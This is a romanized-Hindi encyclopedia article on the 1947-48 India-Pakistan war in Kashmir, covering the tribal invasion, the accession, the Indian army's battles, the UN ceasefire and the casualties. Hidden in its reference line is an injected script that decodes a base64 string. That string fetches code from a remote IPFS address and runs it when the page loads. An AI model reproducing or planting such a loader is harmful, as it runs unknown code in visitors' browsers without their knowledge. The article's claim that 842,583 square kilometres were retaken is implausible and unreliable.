भारत-पाकिस्तान युद्ध (1947)
14 agast 1947 ko lakhoan logoan ke rakt se pakistan ne apane itihas ka pahala panna likha tha. abhi vah raktim syahi sookhi bhi nahian thi ki do mahine bad hi 22 aktoobar, 1947 ko pakistan ne bharat par akraman kar diya. akramanakari vardidhari pakistani sainik nahian the balki kabaili the aur kabailiyoan ke sath the unhian ke vesh mean pakistani sena ke adhikari. uttar pashchimi sima pradesh se 5000 se adhik kabaili 22 aktoobar, 1947 ko achanak kashmir mean ghus ae. unake sharir par sena ki vardi bhale hi nahian thi, lekin hathoan mean bandookean, mashinaganean aur mortar the. pahale hamala simaant sthit nagaroan domal aur mujaphpharabad par hua. isake bad gilagit, skardoo, hajipir darra, puanchh, rajauri, jhaangar, chhamb aur pirapanjal ki paha diyoan par kabaili hamala hua. unaka irada in rastoan se hote hue shrinagar par qabza karane ka tha. isi uddeshy se kashmir ghati, gurej sektar aur titaval par bhi hamala kiya. is abhiyan ko "apareshan gulamarg' nam diya gaya. sabase b da hamala mujaphpharabad ki or se hua. ek to yahaan maujood rajy pulis ke javan sankhya mean kam the aur doosara puanchh ke log bhi hamalavaroan mean shamil ho ge. mujaphpharabad poori tarah se barbad ho gaya. vahaan ke nagarik mare ge, mahilaoan se balatkar kiya gaya. mujaphpharabad ko tabah karane ke bad kabailiyoan ka agala nishana the u di aur baramoola. 23 aktoobar, 1947 ko u di mean ghamasan yuddh hua. hamalavaroan ko rokane ke lie brigediyar rajendr sianh ke netritv mean vahaan maujood sena u di mean vah pul dhvast karane mean kamayab huee, jisase hamalavaroan ko gujarana tha. ek pathan ki goli lagane se brigediyar rajendr sianh vahian shahid ho ge. lekin hamalavar age nahian badh pae. khijh mitane ke lie unhoanne usi kshetr mean jamakar lootapat ki, mahilaoan se balatkar kiya.[1]
bharatiy sena ka javab
kashmir ke maharaja hari sianh is achanak hamale se stabdh the. apane ko akela pa rahe the. 24 aktoobar ko unhoanne bharat se sainik sahayata ki apil ki. us samay lard mauantabetan ke netritv mean suraksha samiti ne is apil par vichar kiya aur kashmir mean sena bhejane ko raji ho gee lekin hamare rajanetaoan ne kaha ki kashmir ke bharat mean adhikarik vilay ke bina vahaan sena nahian bheji ja sakati. maharaja tak yah bat pahuanchi to unhoanne 26 aktoobar ko bharat mean vilay ke dastavej par hastakshar kie. usake turant bad bharatiy sena jammoo-kashmir mean kabailiyoan ka samana karane ke lie viman aur s dak marg se pahuanch gee. baramoola mean karnal ranjit ray ke netritv mean sikh bataliyan kafi bahaduri se l di lekin baramoola aur pattan shaharoan ko nahian bacha paee. baramoola mean karnal ray shahid ho ge bad mean unhean mahavir chakr se alankrit kiya gaya. baramoola mean bharat ke 109 javan shahid hue aur 369 ghayal hue. udhar shrinagar ki vayusena patti ki or tezise badh rahe hamalavaroan ko 4 kumaooan rejimeant ke mejar somanath sharma ke netritv mean matr ek kampani ne roka. isi karravaee mean mejar sharma shahid hue aur maranoparant unhean bharat ka pahala paramavir chakr diya gaya.[1]
yuddh viram ki ghoshana
varsh 1947 mean navambar ka mahina ate-ate bharatiy sena ne kabailiyoan ko ghati se lagabhag khade d diya. mirapur-kotali aur puanchh tak hi ve simit rah ge. lekin isi dauran pakistani sena pratyaksh roop se u di, titaval aur kashmir ke any sektaroan mean yuddh ke lie pahuanch gee. karagil mean bhi pakistani sena ne dhava bol diya. is ooanchaee par karagil aur jojila darre par hamare sainikoan aur taiankoan ne kamal dikhaya aur dushman bhag kh da hua. 9 navambar ko 161 iannapheantari briged ne baramoola ko akramanakariyoan se mukt karaya aur char din bad u di se hamalavaroan ko bhagana p da. is prakar bharatiy sena ne kashmir bachane ka apana prathamik lakshy hasil kar liya. lekin pakistan ne jammoo-kashmir ke kuchh ilakoan par qabza kar liya. hamari sena ne 14 sitambar 1948 ko jojila ki durgam ooanchaiyoan par vijay prapt kar leh ko surakshit bacha liya. idhar hamari senaean dushman se joojh rahi thian udhar 30 disambar 1947 ko bharat ke pradhanamantri pan. javaharalal neharoo sanyukt rashtr mean is mamale ko le ge. vichar-vimarsh shuroo hua idhar 13 agast, 1948 ko sanyukt rashtr ne prastav parit kiya aur 1 janavari 1949 ko yuddhaviram ki ghoshana ho gee. jo senaean jis kshetr mean thian, use yuddh viram rekha man liya gaya. tab tak hamari senaoan ne pakistani sena aur kabailiyoan dvara qabzae ge 842,583 varg kilomitar kshetr par dubara qabza kar liya tha. hamari senaean aur age badh rahi thian ki yuddh viram ki ghoshana ho gee aur jammoo-kashmir ka kuchh bhag pakistan ke kabje mean chala gaya jise aj pakistan adhikrit kashmir kaha jata hai. gilagit, mirapur, mujaphpharabad, baltistan par pakistan ka qabza ho gaya.[1]
sainik shahid
1947-48 mean 14 mahine chale is yuddh mean 1,500 sainik shahid hue, 3500 ghayal hue aur 1000 lapata hue. adhikaansh lapata yuddhabandi ke roop mean pakistan le jae ge. pakistan ki or se anumanat: 20,000 log isase prabhavit hue aur 6000 mare ge.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 gupta, vinita. 54 sal, 4 yuddh (hiandi) panchajany. abhigaman tithi: 15 faravari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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